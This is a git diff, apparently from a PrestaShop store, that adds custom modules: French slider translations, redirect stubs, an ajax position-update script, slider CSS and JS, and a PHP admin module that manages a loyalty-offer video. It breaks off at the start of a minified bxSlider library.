+$_MODULE['<{homeslider}prestashop>homeslider_3f22c758c989513080e13842e1ff70d8'] = 'Vous n\'avez pas encore ajouté de diapositive.'; +$_MODULE['<{homeslider}prestashop>homeslider_7dce122004969d56ae2e0245cb754d35'] = 'Modifier'; +$_MODULE['<{homeslider}prestashop>homeslider_f2a6c498fb90ee345d997f888fce3b18'] = 'Supprimer'; +$_MODULE['<{homeslider}prestashop>homeslider_a94c563cb2d2eec9507c6ffeba4659cc'] = 'les modules %s doivent être accessible en écriture (CHMOD 755 / 777)'; +$_MODULE['<{homeslider}prestashop>homeslider_947c5b1ecd3021f44ae45bc176085ae1'] = 'Mettre en ligne votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_a5220b3d801e803e8c4133edcd0dc7b4'] = 'Sélectionner un fichier :'; +$_MODULE['<{homeslider}prestashop>homeslider_2d806bd95ceb6d3166fb5c01d3fb75f0'] = 'Configurer votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_32bd52059351cd9ac4ae44f16746da11'] = 'Modifier votre diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_51ec9bf4aaeab1b25bb57f9f8d4de557'] = 'Titre :'; +$_MODULE['<{homeslider}prestashop>homeslider_3b3d06023f6353f8fd05f859b298573e'] = 'URL :'; +$_MODULE['<{homeslider}prestashop>homeslider_8046c95f98fc714db47978092bb24264'] = 'Légende :'; +$_MODULE['<{homeslider}prestashop>homeslider_d0042a700e9bdf79689d63ee6846dc0e'] = 'Description :'; +$_MODULE['<{homeslider}prestashop>homeslider_3d091e856cb7615d1ccb96bc759b5a92'] = 'Active :'; +$_MODULE['<{homeslider}prestashop>homeslider_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{homeslider}prestashop>homeslider_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{homeslider}prestashop>homeslider_3f80dc2cdd06939d4f5514362067cd86'] = 'Valeur non valables'; +$_MODULE['<{homeslider}prestashop>homeslider_a6abafe564d3940cc36ee43e2f09400b'] = 'Diapositive non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_b3e3ed438fb0ea2935b3e79eac1f1658'] = 'État non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_57b620e0495c07c15deda4dde882d47b'] = 'Position non valable pour la diapositive'; +$_MODULE['<{homeslider}prestashop>homeslider_76ad3ac84a702b0497cd6be8e8886d34'] = 'ID non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_14f09fd0804a8f1cd0eb757125fc9c28'] = 'Titre trop long'; +$_MODULE['<{homeslider}prestashop>homeslider_39fc40a0ebcbfcae901d20ab8980f188'] = 'Légence trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_4477f672766f6f255f760649af8bd92a'] = 'URL trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_62239300ba982b06ab0f1aa7100ad297'] = 'Description trop longue'; +$_MODULE['<{homeslider}prestashop>homeslider_980f56796b8bf9d607283de9815fe217'] = 'Format d\'URL incorrect'; +$_MODULE['<{homeslider}prestashop>homeslider_7a92ef6b168d77ebcdad785b01d77a8e'] = 'Nom de fichier non valable'; +$_MODULE['<{homeslider}prestashop>homeslider_349097dadf7e6b01dd2af601d54fd59a'] = 'Titre absent'; +$_MODULE['<{homeslider}prestashop>homeslider_ab53605e4a73424d186afccef7b4bc03'] = 'Légende absente'; +$_MODULE['<{homeslider}prestashop>homeslider_0f059227d0a750ce652337d911879671'] = 'URL absente'; +$_MODULE['<{homeslider}prestashop>homeslider_8cf45ba354f4725ec8a0d31164910895'] = 'Image absente'; +$_MODULE['<{homeslider}prestashop>homeslider_7f82c65d548588c8d5412463c182e450'] = 'La configuration n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_20015706a8cbd457cbb6ea3e7d5dc9b3'] = 'Configuration mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_7cc92687130ea12abb80556681538001'] = 'Une erreur est survenue durant l\'envoi de l\'image'; +$_MODULE['<{homeslider}prestashop>homeslider_cdf841e01e10cae6355f72e6838808eb'] = 'La diapositive n\'a pas pu être ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_eb28485b92fbf9201918698245ec6430'] = 'La diapositive n\'a pas pu être mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_5da12d1bb63af9cd5be306102b23e82e'] = 'Diapositive supprimée'; +$_MODULE['<{homeslider}prestashop>homeslider_080b5727c047ef6658591f7d4507e681'] = 'Diapositive mise à jour'; +$_MODULE['<{homeslider}prestashop>homeslider_bb6abf21a6c70c5740d93093b5518954'] = 'Diapositive ajoutée'; +$_MODULE['<{homeslider}prestashop>homeslider_b9f5c797ebbf55adccdd8539a65a0241'] = 'Désactivé'; +$_MODULE['<{homeslider}prestashop>homeslider_00d23a76e43b46dae9ec7aa9dcbebb32'] = 'Activé'; diff --git a/modules/devspelivredor/translations/index.php b/modules/devspelivredor/translations/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspelivredor/translations/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspeoffrefidelitevideo/ajax_devspeoffrefidelitevideo.php b/modules/devspeoffrefidelitevideo/ajax_devspeoffrefidelitevideo.php new file mode 100755 index 0000000..d0a6e29 --- /dev/null +++ b/modules/devspeoffrefidelitevideo/ajax_devspeoffrefidelitevideo.php @@ -0,0 +1,52 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ +include_once('../../config/config.inc.php'); +include_once('../../init.php'); +include_once('devspepresse.php'); + +$context = Context::getContext(); +$home_itemr = new Presse(); +$items = array(); +if (!Tools::isSubmit('secure_key') || Tools::getValue('secure_key') != $home_itemr->secure_key || !Tools::getValue('action')) + die(1); + +if (Tools::getValue('action') == 'updateitemsPosition' && Tools::getValue('items')) +{ + + $items = Tools::getValue('items'); + + foreach ($items as $position => $id_item) + { + $res = Db::getInstance()->execute(' + UPDATE `'._DB_PREFIX_.'devspepresse_items` SET `position` = '.(int)$position.' + WHERE `id_item` = '.(int)$id_item + ); + + } + + $home_itemr->clearCache(); +} + diff --git a/modules/devspeoffrefidelitevideo/bx_styles.css b/modules/devspeoffrefidelitevideo/bx_styles.css new file mode 100755 index 0000000..0b80c9a --- /dev/null +++ b/modules/devspeoffrefidelitevideo/bx_styles.css @@ -0,0 +1,103 @@ +/* @override http://localhost/bxslider_v3_plugin/css/styles.css */ + +/* + * To change the color scheme of slider change each + * background property for each of the five styles below + */ + +.bx-window {margin-bottom:20px;} +.bx-wrapper { + margin-bottom:20px; + height:300px +} + +/*next button*/ +.bx-next { + display:block; + float:left; + position:absolute; + top:0; + right:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_next.png) no-repeat center center; +} + +/*previous button*/ + +.bx-prev { + display:block; + float:left; + position:absolute; + top:0; + left:0px; + width:80px; + height:420px; + z-index:999; + text-indent: -999999px; + background: url(gray_prev.png) no-repeat center center; +} + +/*pager links*/ +.bx-pager { + position: absolute; + bottom: 20px; + bottom:40px !ie;/* hack ie7 */ + right: 15px; + padding-top: 7px; + font-size:11px; + color:#666; + text-align:center; +} +.bx-pager a { + display:inline-block; + zoom:1; + margin-right: 5px; + padding:4px 0 0 1px; + height:16px;/* 19 */ + width:18px;/* 19 */ + font-weight:bold; + font-size: 11px; + color:#000; + text-decoration:none; + background:url(gray_pager.png) no-repeat 0 -20px; +} + +/* + * End color scheme styles + */ + + +/*next/prev button hover state*/ +.bx-next:hover, +.bx-prev:hover { +} + +/*pager links hover and active states*/ +.bx-pager .pager-active, +.bx-pager a:hover { + color:#fff; + text-decoration:none; + background-position: 0 0; +} + +/*captions*/ +.bx-captions { + text-align:center; + font-size: 12px; + padding: 7px 0; + color: #666; +} + +/*auto controls*/ +.bx-auto { + text-align: center; + padding-top: 15px; +} + +.bx-auto a { + color: #666; + font-size: 12px; +} diff --git a/modules/devspeoffrefidelitevideo/devspeoffrefidelitevideo.php b/modules/devspeoffrefidelitevideo/devspeoffrefidelitevideo.php new file mode 100755 index 0000000..6c74f32 --- /dev/null +++ b/modules/devspeoffrefidelitevideo/devspeoffrefidelitevideo.php @@ -0,0 +1,649 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +/** + * @since 1.5.0 + * @version 1.2 (2012-03-14) + */ + +if (!defined('_PS_VERSION_')) + exit; + +include_once(_PS_MODULE_DIR_.'devspeoffrefidelitevideo/offrefidelitevideo.php'); + +class devspeOffrefidelitevideo extends Module +{ + private $_html = ''; + + public function __construct() + { + $this->name = 'devspeoffrefidelitevideo'; + $this->version = '1'; + $this->need_instance = 0; + $this->secure_key = Tools::encrypt($this->name); + + parent::__construct(); + + $this->displayName = $this->l('Gestion de la vidéo de l\'offre de fidélité'); + $this->description = $this->l('Administrer la vidéo de l\'offre de fidélité'); + } + + /** + * @see Module::install() + */ + public function install() + { + /* Adds Module */ + if (parent::install() && $this->registerHook('actionShopDataDuplication')) + { + // /* Sets up configuration */ + // $res = Configuration::updateValue('devspeoffrefidelitevideo_WIDTH', '535'); + // $res &= Configuration::updateValue('devspeoffrefidelitevideo_HEIGHT', '300'); + // $res &= Configuration::updateValue('devspeoffrefidelitevideo_SPEED', '500'); + // $res &= Configuration::updateValue('devspeoffrefidelitevideo_PAUSE', '3000'); + // $res &= Configuration::updateValue('devspeoffrefidelitevideo_LOOP', '1'); + /* Creates tables */ + $res = $this->createTables(); + + /* Adds samples */ + // if ($res) + // $this->installSamples(); + + return $res; + } + return false; + } + + /** + * @see Module::uninstall() + */ + public function uninstall() + { + /* Deletes Module */ + if (parent::uninstall()) + { + /* Deletes tables */ + $res = $this->deleteTables(); + /* Unsets configuration */ + // $res &= Configuration::deleteByName('devspeoffrefidelitevideo_WIDTH'); + // $res &= Configuration::deleteByName('devspeoffrefidelitevideo_HEIGHT'); + // $res &= Configuration::deleteByName('devspeoffrefidelitevideo_SPEED'); + // $res &= Configuration::deleteByName('devspeoffrefidelitevideo_PAUSE'); + // $res &= Configuration::deleteByName('devspeoffrefidelitevideo_LOOP'); + return $res; + } + return false; + } + + /** + * Creates tables + */ + protected function createTables() + { + /* items */ + $res = (bool)Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspeoffrefidelitevideo` ( + `id_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `id_shop` int(10) unsigned NOT NULL, + PRIMARY KEY (`id_item`, `id_shop`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* items configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspeoffrefidelitevideo_items` ( + `id_item` int(10) unsigned NOT NULL AUTO_INCREMENT, + `position` int(10) unsigned NOT NULL DEFAULT \'0\', + `active` tinyint(1) unsigned NOT NULL DEFAULT \'0\', + PRIMARY KEY (`id_item`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + /* items lang configuration */ + $res &= Db::getInstance()->execute(' + CREATE TABLE IF NOT EXISTS `'._DB_PREFIX_.'devspeoffrefidelitevideo_items_lang` ( + `id_item` int(10) unsigned NOT NULL, + `id_lang` int(10) unsigned NOT NULL, + `description` text NOT NULL, + PRIMARY KEY (`id_item`,`id_lang`) + ) ENGINE='._MYSQL_ENGINE_.' DEFAULT CHARSET=UTF8; + '); + + return $res; + } + + /** + * deletes tables + */ + protected function deleteTables() + { + $items = $this->getitems(); + foreach ($items as $item) + { + $to_del = new Offrefidelitevideo($item['id_item']); + $to_del->delete(); + } + return Db::getInstance()->execute(' + DROP TABLE IF EXISTS `'._DB_PREFIX_.'devspeoffrefidelitevideo`, `'._DB_PREFIX_.'devspeoffrefidelitevideo_items`, `'._DB_PREFIX_.'devspeoffrefidelitevideo_items_lang`; + '); + } + + public function getContent() + { + // Languages preliminaries + $languages = Language::getLanguages(false); + $iso = $this->context->language->iso_code; + $divLangName = 'cpara¤dd'; + + // xml loading + $xml = false; + if (file_exists($this->_xmlFile)) + if (!$xml = @simplexml_load_file($this->_xmlFile)) + $this->_html .= $this->displayError($this->l('Your text is empty.')); + + // TinyMCE + /* + if (version_compare(_PS_VERSION_, '1.4.0.0') >= 0) + $this->_html .= ' + + + + '; + else + { + $this->_html .= ' + + '; + } + */ + $this->_html .= $this->headerHTML(); + $this->_html .= '

          '.$this->displayName.'.

          '; + + /* Validate & process */ + if (Tools::isSubmit('submititem') || Tools::isSubmit('delete_id_item') || + Tools::isSubmit('submititem_bis') || + Tools::isSubmit('changeStatus')) + { + if ($this->_postValidation()) + $this->_postProcess(); + $this->_displayAddForm(); + } + elseif (Tools::isSubmit('additem') || (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item')))) + $this->_displayAddForm(); + else + $this->_displayAddForm(); + + return $this->_html; + } + + private function _displayForm() + { + /* Gets items */ + $items = $this->getitems(); + + /* Begin fieldset items */ + $this->_html .= ' +
          + '.$this->l('Gestion des articles de offrefidelitevideo').' + + + '.$this->l('Ajouter un item').' + + '; + + /* Display notice if there are no items yet */ + if (!$items) + $this->_html .= '

          '.$this->l('Vous n\'avez aucun article de offrefidelitevideo enregistré').'

          '; + else /* Display items */ + { + $this->_html .= ' +
          +
            '; + foreach ($items as $item) + { + $this->_html .= ' +
          • + #'.$item['id_item'].' '.$item['title'].' +

            '. + $this->displayStatus($item['id_item'], $item['active']).' + + +

            +
          • '; + } + $this->_html .= '
          '; + } + // End fieldset + $this->_html .= '
          '; + } + public function getProductsItems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT id_product,id_lang,name + FROM '._DB_PREFIX_.'product_lang pl + WHERE pl.id_lang = '.(int)$id_lang.' + ORDER BY pl.id_product'); + } + private function _displayAddForm() + { + /* Sets item : depends if edited or added */ + // $item = null; + // if (Tools::isSubmit('id_item') && $this->itemExists((int)Tools::getValue('id_item'))) + $item = new Offrefidelitevideo(1); + /* Checks if directory is writable */ + // if (!is_writable('.')) + // $this->adminDisplayWarning(sprintf($this->l('Modules %s must be writable (CHMOD 755 / 777)'), $this->name)); + + /* Gets languages and sets which div requires translations */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + $languages = Language::getLanguages(false); + $divLangName = 'iimage¤image¤title¤url¤legend¤description'; + $this->_html .= ''; + + /* Form */ + $this->_html .= '
          '; + + /* Fieldset Upload */ + + /* Legend */ + + + /* Fieldset edit/add */ + $this->_html .= '
          '; + if (Tools::isSubmit('additem')) /* Configure legend */ + $this->_html .= ' 2 - '.$this->l('Ajoutez les textes').''; + elseif (Tools::isSubmit('id_item')) /* Edit legend */ + $this->_html .= ''.$this->l('Modifier la vidéo de l\'offre de fidélité (vide pour désactiver)').''; + /* Sets id item as hidden */ + // if ($item && Tools::getValue('id_item')) + $this->_html .= ''; + /* Sets position as hidden */ + $this->_html .= ''; + + /* Form content */ + + /* Description */ + $this->_html .= ' + +
          '; + foreach ($languages as $language) + { + $this->_html .= '
          + +
          '; + } + $this->_html .= $this->displayFlags($languages, $id_lang_default, $divLangName, 'description', true); + $this->_html .= '
          '; + + + + + /* Active */ + $this->_html .= ' + +
          + Yes + active) && (int)$item->active == 0)) ? '' : 'checked="checked" ').' value="1" /> + + No + active) && (int)$item->active == 0)) ? 'checked="checked" ' : '').' value="0" /> + +
          '; + + /* Save */ + $this->_html .= ' +

          + + '.$this->l('Annuler').' +

          '; + + /* End of fieldset & form */ + $this->_html .= ' +

          *'.$this->l('Champs recquis').'

          +
          +
          '; + } + + private function _postValidation() + { + $errors = array(); + + /* Validation for itemz configuration */ + if (Tools::isSubmit('changeStatus')) + { + if (!Validate::isInt(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid item'); + } + /* Validation for item */ + elseif (Tools::isSubmit('submititem')) + { + /* Checks state (active) */ + if (!Validate::isInt(Tools::getValue('active_item')) || (Tools::getValue('active_item') != 0 && Tools::getValue('active_item') != 1)) + $errors[] = $this->l('Invalid item state'); + /* Checks position */ + if (!Validate::isInt(Tools::getValue('position')) || (Tools::getValue('position') < 0)) + $errors[] = $this->l('Invalid item position'); + /* If edit : checks id_item */ + if (Tools::isSubmit('id_item')) + { + if (!Validate::isInt(Tools::getValue('id_item')) && !$this->itemExists(Tools::getValue('id_item'))) + $errors[] = $this->l('Invalid id_item'); + } + /* Checks title/url/legend/description/image */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + + if (Tools::strlen(Tools::getValue('description_'.$language['id_lang'])) > 4000) + $errors[] = $this->l('The description is too long.'); + + } + + /* Checks title/url/legend/description for default lang */ + $id_lang_default = (int)Configuration::get('PS_LANG_DEFAULT'); + + + } /* Validation for deletion */ + elseif (Tools::isSubmit('delete_id_item') && (!Validate::isInt(Tools::getValue('delete_id_item')) || !$this->itemExists((int)Tools::getValue('delete_id_item')))) + $errors[] = $this->l('Invalid id_item'); + + /* Display errors if needed */ + if (count($errors)) + { + $this->_html .= $this->displayError(implode('
          ', $errors)); + return false; + } + + /* Returns if validation is ok */ + return true; + } + + private function _postProcess() + { + $errors = array(); + + /* Processes itemz */ + if (Tools::isSubmit('changeStatus') && Tools::isSubmit('id_item')) + { + $item = new Offrefidelitevideo((int)Tools::getValue('id_item')); + if ($item->active == 0) + $item->active = 1; + else + $item->active = 0; + $res = $item->update(); + $this->clearCache(); + $this->_html .= ($res ? $this->displayConfirmation($this->l('Configuration updated')) : $this->displayError($this->l('The configuration could not be updated.'))); + } + /* Processes item */ + elseif (Tools::isSubmit('submititem')) + { + /* Sets ID if needed */ + if (Tools::getValue('id_item')) + { + $item = new Offrefidelitevideo((int)Tools::getValue('id_item')); + if (!Validate::isLoadedObject($item)) + { + $this->_html .= $this->displayError($this->l('Invalid id_item')); + return; + } + } + else + $item = new Offrefidelitevideo(); + /* Sets position */ + $item->position = (int)Tools::getValue('position'); + /* Sets active */ + $item->active = (int)Tools::getValue('active_item'); + + /* Sets each langue fields */ + $languages = Language::getLanguages(false); + foreach ($languages as $language) + { + $item->description[$language['id_lang']] = Tools::getValue('description_'.$language['id_lang']); + } + + /* Processes if no errors */ + if (!$errors) + { + /* Adds */ + if (!Tools::getValue('id_item')) + { + if (!$item->add()) + $errors[] = $this->displayError($this->l('The item could not be added.')); + } + /* Update */ + elseif (!$item->update()) + $errors[] = $this->displayError($this->l('The item could not be updated.')); + $this->clearCache(); + } + } /* Deletes */ + elseif (Tools::isSubmit('delete_id_item')) + { + $item = new Offrefidelitevideo((int)Tools::getValue('delete_id_item')); + $res = $item->delete(); + $this->clearCache(); + if (!$res) + $this->_html .= $this->displayError('Could not delete'); + else + $this->_html .= $this->displayConfirmation($this->l('item deleted')); + } + + /* Display errors if needed */ + if (count($errors)) + $this->_html .= $this->displayError(implode('
          ', $errors)); + elseif (Tools::isSubmit('submititem') && Tools::getValue('id_item')) + $this->_html .= $this->displayConfirmation($this->l('item updated')); + elseif (Tools::isSubmit('submititem')) + $this->_html .= $this->displayConfirmation($this->l('item added')); + } + + private function _prepareHook() + { + if (!$this->isCached('devspeoffrefidelitevideo.tpl', $this->getCacheId())) + { + // $itemz = array( + // 'width' => Configuration::get('devspeoffrefidelitevideo_WIDTH'), + // 'height' => Configuration::get('devspeoffrefidelitevideo_HEIGHT'), + // 'speed' => Configuration::get('devspeoffrefidelitevideo_SPEED'), + // 'pause' => Configuration::get('devspeoffrefidelitevideo_PAUSE'), + // 'loop' => Configuration::get('devspeoffrefidelitevideo_LOOP'), + // ); + + $items = $this->getitems(true); + if (!$items) + return false; + + $this->smarty->assign('devspeoffrefidelitevideo_items', $items); + // $this->smarty->assign('devspeoffrefidelitevideo', $itemz); + } + + return true; + } + + public function hookDisplayHome() + { + /* + if(!$this->_prepareHook()) + return; + + // Check if not a mobile theme + if ($this->context->getMobileDevice() != false) + return false; + + // $this->context->controller->addJS($this->_path.'js/jquery.bxitemz.min.js'); + $this->context->controller->addCSS($this->_path.'devspeoffrefidelitevideo.css'); + $this->context->controller->addJS($this->_path.'js/devspeoffrefidelitevideo.js'); + return $this->display(__FILE__, 'devspeoffrefidelitevideo.tpl', $this->getCacheId()); + */ + } + + public function clearCache() + { + $this->_clearCache('devspeoffrefidelitevideo.tpl'); + } + + public function hookActionShopDataDuplication($params) + { + Db::getInstance()->execute(' + INSERT IGNORE INTO '._DB_PREFIX_.'devspeoffrefidelitevideo (id_item, id_shop) + SELECT id_item, '.(int)$params['new_id_shop'].' + FROM '._DB_PREFIX_.'devspeoffrefidelitevideo + WHERE id_shop = '.(int)$params['old_id_shop']); + $this->clearCache(); + } + + public function headerHTML() + { + if (Tools::getValue('controller') != 'AdminModules' && Tools::getValue('configure') != $this->name) + return; + + $this->context->controller->addJqueryUI('ui.sortable'); + /* Style & js for fieldset 'items configuration' */ + $html = ' + + + '; + + return $html; + } + + public function getNextPosition() + { + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow(' + SELECT MAX(hss.`position`) AS `next_position` + FROM `'._DB_PREFIX_.'devspeoffrefidelitevideo_items` hss, `'._DB_PREFIX_.'devspeoffrefidelitevideo` hs + WHERE hss.`id_item` = hs.`id_item` AND hs.`id_shop` = '.(int)$this->context->shop->id + ); + + return (++$row['next_position']); + } + + public function getitems($active = null) + { + $this->context = Context::getContext(); + $id_shop = $this->context->shop->id; + $id_lang = $this->context->language->id; + + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT hs.`id_item` as id_item, + hss.`position`, + hss.`active`, + hssl.`description` + FROM '._DB_PREFIX_.'devspeoffrefidelitevideo hs + LEFT JOIN '._DB_PREFIX_.'devspeoffrefidelitevideo_items hss ON (hs.id_item = hss.id_item) + LEFT JOIN '._DB_PREFIX_.'devspeoffrefidelitevideo_items_lang hssl ON (hss.id_item = hssl.id_item) + WHERE (id_shop = '.(int)$id_shop.') + AND hssl.id_lang = '.(int)$id_lang. + ($active ? ' AND hss.`active` = 1' : ' ').' + ORDER BY hss.position'); + } + + public function displayStatus($id_item, $active) + { + $title = ((int)$active == 0 ? $this->l('Disabled') : $this->l('Enabled')); + $img = ((int)$active == 0 ? 'disabled.gif' : 'enabled.gif'); + $html = ''; + return $html; + } + + public function itemExists($id_item) + { + $req = 'SELECT hs.`id_item` as id_item + FROM `'._DB_PREFIX_.'devspeoffrefidelitevideo` hs + WHERE hs.`id_item` = '.(int)$id_item; + $row = Db::getInstance(_PS_USE_SQL_SLAVE_)->getRow($req); + return ($row); + } +} diff --git a/modules/devspeoffrefidelitevideo/devspepresse.tpl b/modules/devspeoffrefidelitevideo/devspepresse.tpl new file mode 100755 index 0000000..5e1c9fe --- /dev/null +++ b/modules/devspeoffrefidelitevideo/devspepresse.tpl @@ -0,0 +1,48 @@ +{* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +{if isset($devspehomeblocks_slides)} + +{/if} + diff --git a/modules/devspeoffrefidelitevideo/gray_next.png b/modules/devspeoffrefidelitevideo/gray_next.png new file mode 100755 index 0000000..0f627e7 Binary files /dev/null and b/modules/devspeoffrefidelitevideo/gray_next.png differ diff --git a/modules/devspeoffrefidelitevideo/gray_next0.png b/modules/devspeoffrefidelitevideo/gray_next0.png new file mode 100755 index 0000000..f7e93ee Binary files /dev/null and b/modules/devspeoffrefidelitevideo/gray_next0.png differ diff --git a/modules/devspeoffrefidelitevideo/gray_pager.png b/modules/devspeoffrefidelitevideo/gray_pager.png new file mode 100755 index 0000000..f4780d2 Binary files /dev/null and b/modules/devspeoffrefidelitevideo/gray_pager.png differ diff --git a/modules/devspeoffrefidelitevideo/gray_prev.png b/modules/devspeoffrefidelitevideo/gray_prev.png new file mode 100755 index 0000000..a7bfa9a Binary files /dev/null and b/modules/devspeoffrefidelitevideo/gray_prev.png differ diff --git a/modules/devspeoffrefidelitevideo/gray_prev0.png b/modules/devspeoffrefidelitevideo/gray_prev0.png new file mode 100755 index 0000000..6091650 Binary files /dev/null and b/modules/devspeoffrefidelitevideo/gray_prev0.png differ diff --git a/modules/devspeoffrefidelitevideo/index.php b/modules/devspeoffrefidelitevideo/index.php new file mode 100755 index 0000000..a230e5a --- /dev/null +++ b/modules/devspeoffrefidelitevideo/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspeoffrefidelitevideo/js/homeslider.js b/modules/devspeoffrefidelitevideo/js/homeslider.js new file mode 100755 index 0000000..62e5756 --- /dev/null +++ b/modules/devspeoffrefidelitevideo/js/homeslider.js @@ -0,0 +1,46 @@ +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2013 PrestaShop SA +* @version Release: $Revision$ +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +$(function(){ + + if (typeof(homeslider_speed) == 'undefined') + homeslider_speed = 500; + if (typeof(homeslider_pause) == 'undefined') + homeslider_pause = 3000; + if (typeof(homeslider_loop) == 'undefined') + homeslider_loop = true; + + $('#homeslider').bxSlider({ + infiniteLoop: homeslider_loop, + hideControlOnEnd: true, + pager: false, + autoHover: true, + auto: homeslider_loop, + speed: homeslider_speed, + pause: homeslider_pause, + controls: true + }); +}); \ No newline at end of file diff --git a/modules/devspeoffrefidelitevideo/js/index.php b/modules/devspeoffrefidelitevideo/js/index.php new file mode 100755 index 0000000..3f6561f --- /dev/null +++ b/modules/devspeoffrefidelitevideo/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/devspeoffrefidelitevideo/js/jquery.bxSlider.min.js b/modules/devspeoffrefidelitevideo/js/jquery.bxSlider.min.js new file mode 100755 index 0000000..a214174 --- /dev/null +++ b/modules/devspeoffrefidelitevideo/js/jquery.bxSlider.min.js @@ -0,0 +1,115 @@ +/** + * WARNING : library has been patched (search for START PATCH tag) from base version 3.0 to fix an error with IE < 9 + * jQuery bxSlider v3.0 + * http://bxslider.com + * + * Copyright 2010, Steven Wanderski + * http://stevenwanderski.com + * + * Free to use and abuse under the MIT license. + * http://www.opensource.org/licenses/mit-license.php + * + */ +(function($){$.fn.bxSlider=function(options){var 